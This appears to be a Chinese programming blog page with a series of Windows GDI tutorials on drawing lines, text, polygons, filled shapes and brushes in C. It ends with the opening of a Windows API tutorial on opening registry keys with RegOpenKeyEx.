Windows GDI 教程(五) 填充图形和画刷

填充图形(Filled Shape)是指封闭状态的图形,常见有的矩形、多边形、圆形、椭圆等等。而画刷(Brush)与画笔(Pen)不同,画笔是专门用于绘制线条,而画刷则专门用于填充如矩形、椭圆形等填充图形。

在 DC 中,画刷与画笔一样,都是使用 SelectObject 函数来选中。并且画刷与画笔可以同时存在,互相并不冲突。

Rectangle

本节的重点是矩形(Rectangle)的绘制,而绘制矩形的函数名也就是英文的单词 Rectangle 。该函数用于在目标DC中绘制矩形的函数,只需要传一个DC的句柄以及矩形的左上点坐标和右下点坐标。

BOOL Rectangle(
  _In_  HDC hdc,		// 目标DC句柄
  _In_  int nLeftRect,	// 左
  _In_  int nTopRect,	// 上
  _In_  int nRightRect,	// 右
  _In_  int nBottomRect	// 下
);

绘制空心矩形

#define RED_COLOR RGB(255,0,0)

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HPEN hpen;
	int i;

	// 创建并选择画笔
	hdc = BeginPaint(hwnd, &ps);
	hpen = CreatePen(PS_SOLID, 1, RED_COLOR);
	SelectObject(hdc,hpen);

	// 绘制矩形
	Rectangle(hdc,80, 50, 300, 200);

	// 清理资源
	DeleteObject(hpen);
	EndPaint(hwnd, &ps);
}

效果图:
绘制空心矩形

PS:如果没有用 SelectObject 指定画笔的话,会使用默认画笔(样式:soild、宽度:1px、黑色)

CreateSolidBrush

创建一个实心填充的画刷。

HBRUSH CreateSolidBrush(
  _In_  COLORREF crColor // 指定画刷颜色
);

绘制实心矩形


#define RED_COLOR RGB(255,0,0)
#define BLUE_COLOR RGB(0,0,255)

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HBRUSH hbrush;
	HPEN hpen;

	hdc = BeginPaint(hwnd, &ps);

	hpen = CreatePen(PS_SOLID, 10, RED_COLOR);	// 创建红色实心10px粗的画笔
	hbrush = CreateSolidBrush(BLUE_COLOR); // 创建蓝色画刷

	SelectObject(hdc, hpen);	// 指定画笔
	SelectObject(hdc, hbrush);	// 指定画刷

	// 绘制矩形
	Rectangle(hdc,80, 50, 300, 200);

	// 清理资源
	DeleteObject(hpen);
	DeleteObject(hbrush);
	EndPaint(hwnd, &ps);
}

效果图:
绘制实心矩形

填充图形列表

本节并不专门讲解除了矩形以外的其他图形。因此,以下简单的将绘制填充图形的所有的函数列举出来:

  • Rectangle 绘制一个矩形。
  • RoundRect 绘制一个圆角矩形。
  • Ellipse 绘制一个椭圆形。
  • Pie 绘制一个圆饼扇形。
  • Chord 绘制一个切割椭圆。
  • Polygon 绘制多边形。
  • PolyPolygon 绘制同时绘制多个封闭的多边形。
  • FillRect 使用画刷填充一块矩形区域。
  • FrameRect 使用画刷绘制一块矩形区域的边框。
  • InvertRect 将制定的矩形范围内的像素反色。

更多信息详见: Filled Shape Functions on MSDN

CreateHatchBrush

创建影线画刷。

HBRUSH CreateHatchBrush(
  _In_  int fnStyle,		// 影线样式
  _In_  COLORREF clrref 	// 画刷颜色
);

绘制椭圆、圆角矩形、扇形以及切割椭圆实例

// 画刷样式
int ibrushStyle[4] = {
	HS_VERTICAL,	/* ||||| 垂直 */
	HS_HORIZONTAL,	/* ----- 水平 */
	HS_CROSS,		/* +++++ 正十字 */
	HS_DIAGCROSS	/* xxxxx 斜十字 */
};

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HPEN hPen;
	HBRUSH hBrush[4];
	int i;

	hdc = BeginPaint(hwnd, &ps);

	// 初始化4把画刷
	for(i = 0; i < 4; i++)
		hBrush[i] = CreateHatchBrush(ibrushStyle[i], RGB(0,0,255));

	// 画椭圆
	SelectObject(hdc, hBrush[0]);
	Ellipse(hdc, 0,0, 140,100);
	TextOut(hdc,55,100,"椭圆",strlen("椭圆"));

	// 画圆角矩形
	SelectObject(hdc,hBrush[1]);
	RoundRect(hdc, 160,0,  320,100, 30,30);
	TextOut(hdc, 210,100, "圆角矩形",strlen("圆角矩形"));

	// 画扇形
	SelectObject(hdc,hBrush[2]);
	Pie(hdc, 0,130, 140,230, 50,50, 300,300);
	TextOut(hdc,55,230,"扇形",strlen("扇形"));

	// 画切割椭圆(Chord)
	SelectObject(hdc,hBrush[3]);
	Chord(hdc, 160,130, 320,230, 50,50, 600,300);
	TextOut(hdc,210,230,"Chord",strlen("Chord"));

	// 清理资源
	for(i = 0; i < 4; i++)
		 DeleteObject(hBrush[i]);
	EndPaint(hwnd, &ps);
}

效果图:
绘制填充图形

PS:如果绘制椭圆的时候,设置其区域为正方形,则画出来的就是圆形。扇形也同样如此,画出来的就是圆的扇形。

画刷类型列表

这边再给大家拓展一下所有画刷的列表,虽然教程内没有专门讲解,但是说不定其中就有你心动的功能:

  • CreateSolidBrush 创建一个实心颜色(Solid color)画刷
  • CreateHatchBrush 创建一个影线模式(Hatch pattern)的画刷
  • CreatePatternBrush 创建一个位图模式(Bitmap pattern)的画刷
  • CreateBrushIndirect 根据指定的样式、颜色、模式(pattern)来创建一个画刷
  • CreateDIBPatternBrushPt 根据 DIB 模式(pattern from DIB)创建一个画刷

其他更多操作画刷的函数详见 Brush Functions on MSDN

教程索引

上一讲:Windows GDI 教程(四) 文字与字体
下一讲:Windows GDI 教程(六) DC与加载位图

Advertisements

Windows GDI 教程(四) 文字与字体

TextOut

在目标DC的指定坐标处添加一行文字。

BOOL TextOut(
  _In_  HDC hdc,			// DC句柄
  _In_  int nXStart,		// x坐标
  _In_  int nYStart,		// y坐标
  _In_  LPCTSTR lpString,	// 文字内容
  _In_  int cchString		// 文字长度
);

输出文字实例

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;

	hdc = BeginPaint(hwnd, &ps); 
	
	// 设置文字背景色
	SetBkColor(hdc, RGB(0,0,0));
	// 设置文字颜色
	SetTextColor(hdc, RGB(255,255,255));
	// 输出文字 Helloworld
	TextOut(hdc, 50, 50, TEXT("Hello world"), sizeof(TEXT("Hello world")));

	EndPaint(hwnd, &ps); 
}

效果图:
输出文字

选择字体实例

/*
 * 选择字体
 */
HFONT ChooseMyFont() 
{ 
	CHOOSEFONT cf; 
	LOGFONT lf; 
	HFONT hfont; 

	// CHOOSEFONT 结构 
	cf.lStructSize = sizeof(CHOOSEFONT); 
	cf.hwndOwner = (HWND)NULL; 
	cf.hDC = (HDC)NULL; 
	cf.lpLogFont = &lf; 
	cf.iPointSize = 0; 
	cf.Flags = CF_SCREENFONTS; 
	cf.rgbColors = RGB(0,0,0); 
	cf.lCustData = 0L; 
	cf.lpfnHook = (LPCFHOOKPROC)NULL; 
	cf.lpTemplateName = (LPSTR)NULL; 
	cf.hInstance = (HINSTANCE) NULL; 
	cf.lpszStyle = (LPSTR)NULL; 
	cf.nFontType = SCREEN_FONTTYPE; 
	cf.nSizeMin = 0; 
	cf.nSizeMax = 0; 

	// 选择字体对话框 
	ChooseFont(&cf); 
	// 得到HFONT 返回
	hfont = CreateFontIndirect(cf.lpLogFont); 
	return (hfont); 
}

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;
	HFONT hFontSetting;

	hdc = BeginPaint(hwnd, &ps); 

	// 获得字体对象句柄
	hFontSetting = ChooseMyFont();
	// DC 加载字体
	SelectObject(hdc, hFontSetting);

	// 同样输出文字 Helloworld
	TextOut(hdc, 0, 0, TEXT("Hello world"), sizeof(TEXT("Hello world")));

	EndPaint(hwnd, &ps); 
}

效果图:
选择字体
字体+大小

设置排版实例

除了 TextOut 之外,DrawText也可以用于输出文字,他比 TextOut 要多出来的地方就是可以指定文字所在的区域,然后设置文字在该区域内的排版

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;
	RECT rc;

	hdc = BeginPaint(hwnd, &ps); 

	// 获取当前窗口的矩形区域
	GetClientRect(hwnd, &rc); // 实际上就是获取左上和右下的两个坐标
	
	DrawText(
		hdc,
		TEXT("Hello worldnHello Windows GDI"),	// 文字内容
		strlen(TEXT("Hello worldnHello Windows GDI")), // 文字长度
		&rc,		// 输出区域
		DT_CENTER	// 排版格式 居中
	);

	EndPaint(hwnd, &ps); 
}

效果图:
drawtext

教程索引

上一节:Windows GDI 教程(三) 绘制函数图像以及多边形
下一节:Windows GDI 教程(五) 填充图形和画刷

Windows GDI 教程(三) 绘制函数图像以及多边形

SetPixel

画一个点。函数原型:

COLORREF SetPixel(
  _In_  HDC hdc,	// DC句柄
  _In_  int X,		// x 坐标
  _In_  int Y,		// y 坐标
  _In_  COLORREF crColor // 颜色
);

绘制函数图像

上一节有说过在画渐变的时候其实用画点的函数会更好用,这里就使用 SetPixel 函数来绘制一个点。

#include <windows.h>
#include <math.h>

// 用于注册的窗口类名
const char g_szClassName[] = "myWindowClass";

#define POS_X 150		// 坐标系原点 x 
#define POS_Y 130		// 坐标系原点 y 
#define POS_WIDTH 100	// 坐标系宽度
#define BLACK_COLOR RGB(0, 0, 0) // 黑色

/*
 * 要绘制的函数:
 * f(x) = sin(x/10) * 20
 */
double f(double x)
{
	return sin(x/10) * 20;
}

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;   // DC(可画图的内存对象) 的句柄
    HPEN hpen; // 画笔
    int x, y;
	double i;

    hdc = BeginPaint(hwnd, &ps);
    hpen = CreatePen(PS_SOLID, 1, BLACK_COLOR);
    SelectObject(hdc, hpen);

	// 绘制 x 轴
    MoveToEx(hdc, POS_X - POS_WIDTH, POS_Y, NULL);
    LineTo(hdc, POS_X + POS_WIDTH, POS_Y);

	// 绘制 y 轴
	MoveToEx(hdc, POS_X, POS_Y + POS_WIDTH, NULL);
	LineTo(hdc, POS_X, POS_Y - POS_WIDTH);

	// 绘制 f(x) = sin(x/10) * 20 的函数图像
	for (i = -POS_WIDTH; i < POS_WIDTH; i += 0.05) // x每增长0.05绘制1个点
	{
		x = POS_X + i;
		y = POS_Y + f(i);
		// 在 (x,y) 处绘制一个点
		SetPixel(hdc, x, y, BLACK_COLOR);
	}

    DeleteObject(hpen);
    EndPaint(hwnd, &ps);
}

效果图:
绘制函数图像

PS: 这个画点的 SetPixel 函数很简单,各位可以试着用它来修改一下上一节中颜色渐变的例子。

Polyline

Polyline 与 lineto 类似,区别在于 lineto 每画一条线当时就写入显存,而 Polyline则是把指定的坐标数组中所有线都画完之后才写入显存。

BOOL Polyline(
  _In_  HDC hdc,			// DC句柄
  _In_  const POINT *lppt,	// 要绘制的点的数组
  _In_  int cPoints			// 要绘制的点的个数
);

一次绘制多条连通的线示例

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HPEN hPen;
	POINT poly[4];

	hdc = BeginPaint(hwnd, &ps);

	// 设置画笔
	hPen = CreatePen(PS_SOLID, 3, RGB(0,0,255));
	SelectObject(hdc, hPen);

	poly[0].x = 100;
	poly[0].y = 150;

	poly[1].x = 200;
	poly[1].y = 150;

	poly[2].x = 150;
	poly[2].y = 50;

	poly[3].x = 250;
	poly[3].y = 50;

	Polyline(hdc, poly, 4);

	EndPaint(hwnd, &ps);
}

效果图:
绘制不规则图形

RECT 结构体

RECT 即 Rectangle 矩形结构体,实际上就存储了两个坐标,一个是左上、一个是右下。

typedef struct 
{
    LONG    left;	// 左
    LONG    top;	// 上
    LONG    right;	// 右
    LONG    bottom; // 下
} RECT;

SetRect

用于设置 RECT 结构体的值。

BOOL SetRect(
    __out LPRECT lprc,	// RECT 结构体指针
    __in int xLeft,		// 左
    __in int yTop,		// 上
    __in int xRight,	// 右
    __in int yBottom	// 下
);

RectVisible

检查目标DC中的指定矩形区域是否可见

WINGDIAPI BOOL WINAPI RectVisible(
	__in HDC hdc, 				// 目标DC
	__in CONST RECT * lprect 	// 指定矩形区域
);

SetViewportOrgEx

修改指定DC中的坐标系原点

BOOL SetViewportOrgEx(
  _In_   HDC hdc,
  _In_   int X,
  _In_   int Y,
  _Out_  LPPOINT lpPoint
);

多边形绘制实例

包括三角形、正方形、五边形、六边形。

POINT aptTriangle[4] = { {50,2}, {98,86},  {2,86}, {50,2}}, 
	aptRectangle[5]  = { { 2,2}, {98,2},  {98,98},  {2,98}, {2,2}}, 
	aptPentagon[6]   = { {50,2}, {98,35}, {79,90}, {21,90}, {2,35}, {50,2}}, 
	aptHexagon[7]    = { {50,2}, {93,25}, {93,75}, {50,98}, {7,75}, {7,25}, {50,2}}; 

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;   // DC(可画图的内存对象) 的句柄
    HPEN hpen; // 画笔
	RECT rc;

	hdc = BeginPaint(hwnd, &ps); 
	// 初始化矩形 rc 用于表明绘图范围
	SetRect(&rc, 0, 0, 100, 100); 

	// 如果 rc 所包括的范围可见
	if (RectVisible(hdc, &rc)) 
		// 绘制三角形
		Polyline(hdc, aptTriangle, 4); 

	// 修改当前DC坐标系原点为 (100,0)
	SetViewportOrgEx(hdc, 100, 0, NULL); 
	if (RectVisible(hdc, &rc)) 
		// 绘制正方体
		Polyline(hdc, aptRectangle, 5); 

	// 修改当前DC坐标系原点为 (0,100)
	SetViewportOrgEx(hdc, 0, 100, NULL); 
	if (RectVisible(hdc, &rc)) 
		// 绘制五边形
		Polyline(hdc, aptPentagon, 6); 

	// 修改当前DC坐标系原点为 (100,100)
	SetViewportOrgEx(hdc, 100, 100, NULL); 
	if (RectVisible(hdc, &rc)) 
		// 绘制六边形
		Polyline(hdc, aptHexagon, 7); 

	EndPaint(hwnd, &ps); 
}

效果图:
绘制多边形

教程索引

上一节:Windows GDI 教程(二) 画笔的颜色与样式
下一节:Windows GDI 教程(四) 文字与字体

Windows GDI 教程(二) 画笔的颜色与样式

以上一节的代码为蓝本,我们所需要关注的仅仅是 Paint 函数内的内容。首先我们来补充说明一下上一讲代码中没有详细说明的问题。

// 创建画笔
hpen = CreatePen(PS_SOLID, 1, RGB(255,0,0));

这里通过 CreatePen 创建了一个画笔。其中:

  • 参数一 PS_SOLID 是指画笔的样式,具体的样式形态会在本文下方详述。
  • 参数二 1 是指明该画笔的宽度即 1px。需要注意的是 px 是像素单位,1px 也可以简单的理解为一个点。由于概念简单这里不做过多赘述,更多的具体信息可以去百度百科。
  • 参数三 RGB(255,0,0) 则是指定画笔的颜色了。具体描述见下文。

RGB 颜色

RGB色彩模式是工业界的一种颜色标准,通过红(Red)、绿(Green)、蓝(Blue)三种颜色搭配可以显示出非常丰富的色彩来。目前我们程序中看到的这种 RGB 其实也可以简单的当做 256 色(0~255)来看。总共能搭配出来的颜色有 256*256*256 = 16777216 种。

我们用最简单的方式来看到这个 RGB 颜色,当其值为 0 的时候,就没有该颜色,当其值为 255 的时候即纯色。这样每个颜色有 2 种状态来看的话,可以搭配出 8 个颜色,如下图:

对应数据如下表格:

RGB描述 绿 十六进制 颜色
RGB(0,0,0) 0 0 0 000000 黑色
RGB(255,0,0) 255 0 0 FF0000 红色
RGB(0,255,0) 0 255 0 00FF00 绿色
RGB(0,0,255) 0 0 255 0000FF 蓝色
RGB(255,255,0) 255 255 0 FFFF00 黄色
RGB(255,0,255) 255 0 255 FF00FF 紫色
RGB(0,255,255) 0 255 255 00FFFF 兰色
RGB(255,255,255) 255 255 255 FFFFFF 白色

如果把每种颜色的状态由浅入深的分为12个状态的话,调配的颜色可以参考下图:
0dd7912397dda1448aa71c91b2b7d0a20cf48662

绘制不同颜色的线条

下面的情况就是每一列画上蓝色从0~255的渐变。然后每一行配上红色从0~255的渐变。这中间其实每一行都画的是一个长度 256px 高度2px 的矩形。

void Paint(HWND hwnd)
{
    PAINTSTRUCT ps;
    HDC hdc;   // DC(可画图的内存对象) 的句柄
    HPEN hpen; // 画笔
    int red, blue; // 红、绿两色
    int y = 1, x = 1; // 行、列

    // 通过窗口句柄获取该窗口的 DC
    hdc = BeginPaint(hwnd, &ps);

    for (red = 0; red < 256; red++)
    {
        for (blue = 0; blue < 256; blue++)
        {
			// 创建画笔
            hpen = CreatePen(PS_SOLID, 1, RGB(red, 0, blue));
			// 选中画笔
            SelectObject(hdc, hpen);

			// 画一条从 (x, y) 到 (x, y+1) 的垂直的线
            MoveToEx(hdc, x, y, NULL);
            LineTo(hdc, x++, y + 1);

			// 删除画笔
            DeleteObject(hpen);
        }
		// 一行画完 行+1, 列重新置 1
		y += 1;
        x = 1;
    }

    // 关闭DC 结束绘制
    EndPaint(hwnd, &ps);
}

效果如下:
使用线条绘制一个简单的颜色渐变

PS:画完一行之后 y 坐标仅仅只是加1,所以会覆盖上一行的下半部分。其实做这个效果用画点的函数效果会更好,不过为了让大家更容易上手所以这里还是继续使用 LineTo。

画笔的不同样式

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HPEN hpen;
	int i;

	// 画笔类型
	int Penstyle[] = {
		PS_SOLID, 		/*   直线   */
		PS_DASH, 		/* -------  */
		PS_DOT, 		/* .......  */
		PS_DASHDOT, 	/* _._._._  */
		PS_DASHDOTDOT, 	/* _.._.._  */
		PS_NULL  		/*          */
	};

	hdc = BeginPaint(hwnd, &ps);

	for(i=0; i < sizeof(Penstyle) / sizeof(Penstyle[0]); i++)
	{
		// 创建画笔
		hpen = CreatePen(Penstyle[i], 1, RGB(0,0,0));
		// 设备选择画笔
		SelectObject(hdc,hpen);

		// 画一条从(30*i+80, 50) 到 (30*i+80, 200) 的线
		MoveToEx(hdc, 30 * i + 80, 50, NULL);
		LineTo(hdc, 30 * i + 80, 200);
	}

	DeleteObject(hpen);
	EndPaint(hwnd, &ps);
}

效果图:
画笔的六种样式

使用 Lineto 绘制一个简单的三角形

lineto 是可以一直连续使用的。

void Paint(HWND hwnd)
{
	PAINTSTRUCT ps;
	HDC hdc;
	HPEN hpen;

	hdc = BeginPaint(hwnd, &ps);

	// 创建画笔
	hpen = CreatePen(PS_SOLID, 1, RGB(0,0,0));
	// 设备选择画笔
	SelectObject(hdc,hpen);

	// 画一条从(30*i+80, 50) 到 (30*i+80, 200) 的线
	MoveToEx(hdc,100, 200, NULL);
	LineTo(hdc, 300, 200);
	LineTo(hdc, 200, 50);
	LineTo(hdc,100, 200);

	DeleteObject(hpen);
	EndPaint(hwnd, &ps);
}

效果图:
Lineto绘制三角形

关于画笔的其他注意点

实际上创建画笔除了 CreatePen 函数 之外还有一个 ExtCreatePen 函数。通过 CreatePen 创建的画笔我们一般称为装饰画笔(Cosmetic Pens),通过 ExtCreatePen 创建的我们一般称之为几何画笔(Geometric Pens)。

装饰画笔:简单、轻便。绘制速度快。不收坐标空间变化影响,所以绘制的线条宽度都是相等。可以设置的属性只有:样式、宽度、颜色。
几何画笔:拓展了更多的功能,绘制速度较慢,收到坐标空间变化的影响,具有多种属性。几何画笔除了包括装饰画笔的三种属性之外,还多了模式(Pattern)、影线(Hatch)、线端(End Cap)、结合方式(jion)等属性。具有更丰富的表现力。不过为了让大家能很容易的学下去我们还是先不讨论几何画笔。

教程索引

上一节:Windows GDI 教程(一) 一个简单的绘图程序
下一节:Windows GDI 教程(三) 绘制函数图像以及多边形

Windows GDI 教程(一) 一个简单的绘图程序

常见的图形编程库,除了 GDI 外还有 GDI+、OpenGL、DirectX等等,GDI 是其中最基础的一个库。所以 GDI 注定了不会有高级应用,有兴趣的就当刷低级怪吧。

在教程的最开始,需要简单的说明一些前置条件。

开发环境与前言

首先是标明开发环境:
操作系统:win7 (xp应该可以,win8未测试)
使用工具:visual studio 2010(或更高)

窗口创建

以前代码的前置问题,首先本教程内的 GDI 画图,在最开始部分主要是在窗口内部绘制(为避免混乱窗口外部,也就是整个桌面的绘制会在很后面的地方讨论)。因此,这里需要对于创建窗口一定的了解。为了让大家可以直接复制完代码就可以在一个文件里面运行,博主准备的代码是手动动态创建窗口的代码,所以这里创建窗口的代码有点长,不过大家不要怕,我们要关注的只是中间的一小部分。这里博主先把代码贴上:

#include <windows.h>
 
// 用于注册的窗口类名
const char g_szClassName[] = "myWindowClass";
 
/*
 * 第四步,窗口过程
 */
LRESULT CALLBACK MyWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch(msg)
    {
        // 窗口绘制消息
        case WM_PAINT:
            /*
             * 我们只需要在这里调用我们的 GDI 绘制函数就可以,其他地方可以先无视
             */
        break;
        // 窗口关闭消息
        case WM_CLOSE:
            DestroyWindow(hwnd);
        break;
        // 窗口销毁消息
        case WM_DESTROY:
            PostQuitMessage(0); // 发送离开消息给系统
        break;
        // 其他消息
        default:
            // pass 给系统,咱不管
            return DefWindowProc(hwnd, msg, wParam, lParam);
    }
    return 0;
}
 
/*
 * 第一步,注册窗口类
 */
void RegisterMyWindow(HINSTANCE hInstance)
{
    WNDCLASSEX wc;  
 
    // 1)配置窗口属性
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.style         = 0;
    wc.lpfnWndProc   = MyWindowProc; // 设置第四步的窗口过程回调函数
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = hInstance;
    wc.hIcon         = LoadIcon(NULL, IDI_APPLICATION);
    wc.hCursor       = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm       = LoadIcon(NULL, IDI_APPLICATION);
 
    // 2)注册
    if(!RegisterClassEx(&wc))
    {
        MessageBox(NULL, TEXT("窗口注册失败!"), TEXT("错误"), MB_ICONEXCLAMATION | MB_OK);
        exit(0); // 进程退出
    }
}
 
/*
 * 第二步,创建窗口
 */
HWND CreateMyWindow(HINSTANCE hInstance, int nCmdShow)
{
    HWND hwnd;
    hwnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        g_szClassName,
        TEXT("我的窗口名称"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, // 出现坐标 x,y 默认分配 窗口宽 400 高 300
        NULL, NULL, hInstance, NULL);
 
    if(hwnd == NULL)
    {
        MessageBox(NULL, TEXT("窗口创建失败!"), TEXT("错误"), MB_ICONEXCLAMATION | MB_OK);
        exit(0); // 进程退出
    }
 
    // 显示窗口
    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);
 
    return hwnd;
}
 
/*
 * 主函数
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
{
    HWND hwnd;
    MSG Msg;
 
    // 第一步,注册窗口类
    RegisterMyWindow(hInstance);
    // 第二步:创建窗口
    hwnd =  CreateMyWindow(hInstance, nCmdShow);
    // 第三步:消息循环
    while(GetMessage(&Msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
    }
    return Msg.wParam;
}

运行效果图:
创建一个空白窗口

这个创建窗口的代码很长,看起来有点吓人,但是学习 GDI 的过程中,这其中几乎是完全不需要记忆的,只要有一定的了解,然后会 copy 就可以了。当然如果你能懂也是更好,以上代码的出处为 《Windows SDK 教程(三) 一些细节以及动态创建控件》,有兴趣的可以去看看。

那么博主也说过了,最开始的时候,这段长长的代码其实注意一个地方就可以了,就是其中的第四步窗口过程中的一个小 case。

/*
 * 第四步,窗口过程
 */
LRESULT CALLBACK MyWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch(msg)
    {
		// 窗口绘制消息
		case WM_PAINT:
			/*
			 * 只有这一个 case 是我们 GDI 入门中需要注意的
			 *
			 * 当程序执行到这个地方的时候,意味着系统像我们的程序发送了 WM_PAINT 消息
			 * 也就是告诉我们的程序,可以开始绘制窗口的内容了。
			 *
			 */
		break;
		// 其余略...
    }
    return 0;
}

这样看来,貌似我们要注意的地方确实很小吧。那么我接着往下走。

PS:默认情况下,系统只会向我们的程序发送一次 WM_PAINT 消息。如果想要再来一次,需要使用 SendMessage 函数,来自己向自己手动发送该消息。

坐标系

GDI 的绘图坐标系与普通的数学坐标系不同,原点 (0,0) 位于左上角。如图:
坐标系

设备上下文(DC)

DC (设备上下文, Device Contexts)是 GDI 编程中一个很基础同时也很重要的概念。博主以前看过不少网上的资料以及书上的描述,总感觉他们说的都很奇怪。这里博主为了方便大家理解就说说自己的看法:

大家只要把 DC 当成一个保存图像的内存对象即可。当我们使用 GDI 提供的函数去操作 DC 的时候,也就意味着在使用函数去修改保存在这块内存上的图像。

BeginPaint 与 EndPaint

用于从目标窗口获取可画图的 DC,以及关闭这个 DC。

函数原型

HDC BeginPaint(
  _In_   HWND hwnd,   			// 传入想要获取 DC 的窗口句柄
  _Out_  LPPAINTSTRUCT lpPaint  // 保存目标窗口的绘图信息
);


BOOL EndPaint(
  _In_  HWND hWnd,					// 目标窗口的句柄
  _In_  const PAINTSTRUCT *lpPaint  // 目标窗口的绘图信息
);

SelectObject

设置目标 DC 选中指定的对象(如画笔、画刷、图片等等)。

函数原型

HGDIOBJ SelectObject(
  _In_  HDC hdc,        // 目标 DC 的句柄
  _In_  HGDIOBJ hgdiobj // 被选中的对象
);

CreatePen

创建一个画笔(pen)对象。

函数原型

HPEN CreatePen(
  _In_  int fnPenStyle,		// 样式
  _In_  int nWidth,			// 宽度
  _In_  COLORREF crColor	// 颜色
);

MoveToEx

移动绘制的初始位置。未移动则默认是 (0,0)。(C语言基础好的可以联想 fseek 函数)

函数原型

BOOL MoveToEx(
  _In_   HDC hdc,			// 操作目标DC的句柄
  _In_   int X,				// x 坐标
  _In_   int Y,				// y 坐标
  _Out_  LPPOINT lpPoint 	// 保存移动后的当前坐标
);

LineTo

使用当前选中的对象(selected object、通常是画笔)从当前位置绘制一条直线到目标位置。

函数原型

BOOL LineTo(
  _In_  HDC hdc,	// 目标DC句柄
  _In_  int nXEnd,	// 目标位置 x 坐标
  _In_  int nYEnd	// 目标位置 y 坐标
);

绘制直线实例

#include <windows.h>

// 用于注册的窗口类名
const char g_szClassName[] = "myWindowClass";

void Paint(HWND hwnd) 
{
	// paint struct 绘图结构体,存储目标窗口可以绘图的客户端区域(client area)
	PAINTSTRUCT ps;
	HDC hdc;   // DC(可画图的内存对象) 的句柄
	HPEN hpen; // 画笔

	// 通过窗口句柄获取该窗口的 DC
	hdc = BeginPaint(hwnd, &ps);
	// 创建画笔
	hpen = CreatePen(PS_SOLID, 1, RGB(255,0,0));
	// DC 选择画笔
	SelectObject(hdc,hpen);
	// (画笔)从初始点移动到 50,50
	MoveToEx(hdc, 50, 50, NULL);
	// (画笔)从初始点画线到 100,100
	LineTo(hdc, 150, 100);

	EndPaint(hwnd, &ps);
}

/*
 * 第四步,窗口过程
 */
LRESULT CALLBACK MyWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch(msg)
    {
		// 窗口绘制消息
		case WM_PAINT:
			Paint(hwnd); // 调用我们的 GDI 绘制函数
		break;
		// 其余略...
    }
    return 0;
}

// 其余略

运行效果图:
draw_line

function show() {
var code = document.getElementById(‘whole_code’);
if (code.style.display) {
code.style.display = “”;
} else {
code.style.display = “none”;
}
}

点击查看完整代码

教程索引

下一节:Windows GDI 教程(二) 画笔的颜色与样式

Windows API 教程(十) 注册表操作

注册表在系统中也是一个很重要的部分。通过 win + R -> regedit 可以调出系统自带的注册表编辑
regedit

可以看到系统常用的注册表有五个大类:

名称 描述
HKEY_CLASSES_ROOT 用于存储文档类型(type or classes)及其相关联的特性(如图标、打开方式等)。该类注册表中的信息常用于 Shell 和 COM 应用程序。
HKEY_CURRENT_USER 用于存储当前用户的偏好(preferences)设置。其中包括当前用户的环境变量、项目组数据、颜色、字体、网络连接、应用程序偏好。
HKEY_LOCAL_MACHINE

存储计算机的物理状态,包括总线类型数据、系统内存、已安装的硬件和软件。

HKEY_USERS 存储用于新注册用户的默认配置以及当前用户的配置。
HKEY_CURRENT_CONFIG

包含本地计算机系统的当前硬件简介信息。其中保存的信息仅描述当前硬件配置和标准配置之间的差异. 标准硬件配置的信息保存在 HKEY_LOCAL_MACHINESoftwareSystem 键之中.

HKEY_CURRENT_CONFIGHKEY_LOCAL_MACHINESystemCurrentControlSetHardware ProfilesCurrent 的别名.

更多信息,详见 注册表预定义键(Predefined Keys)

RegOpenKeyEx

打开已存在的注册表项,更多信息详见 RegOpenKeyEx On MSDN

函数原型

LONG WINAPI RegOpenKeyEx(
  _In_        HKEY hKey,        // 要打开的键的句柄
  _In_opt_    LPCTSTR lpSubKey, // 其子项
  _Reserved_  DWORD ulOptions,  // 保留位,无用,请无视
  _In_        REGSAM samDesired,// 打开权限
  _Out_       PHKEY phkResult   // 返回打开的句柄
);

参数

参数一 hKey (输入参数)
可以传入已存在的注册表句柄(HKEY类型),也可以传入默认存在的项如:HKEY_CLASSES_ROOTHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERSHKEY_CURRENT_CONFIG

参数二 lpSubKey (输入参数、可选)

子项字符串,可不填。如果有填写的话,那么久相当于打开 “hKeylpSubKey” (参数一与参数二拼接起来) 的注册表项。

参数三 ulOptions (保留参数)

保留参数,必须填 0。

参数四 samDesired (输入参数)

打开的注册表项句柄的权限。常见如下:

权限名 描述
KEY_READ (0x20019) 读取权限
KEY_WRITE (0x20006) 写入权限
KEY_SET_VALUE (0x0002) 创建、删除或修改
KEY_QUERY_VALUE (0x0001) 查询值
KEY_CREATE_LINK (0x0020) 系统保留(无用)
KEY_CREATE_SUB_KEY (0x0004) 注册键和创建子键
KEY_ENUMERATE_SUB_KEYS (0x0008) 遍历子键
KEY_EXECUTE (0x20019) 相当于KEY_READ
KEY_NOTIFY (0x0010)
KEY_WOW64_32KEY (0x0200)
KEY_WOW64_64KEY (0x0100)
KEY_ALL_ACCESS (0xF003F) 所有权限

详细请参见 MSDN:注册表项的安全和访问权限

参数五 phkResult (输出参数)

返回输出的句柄。

返回值

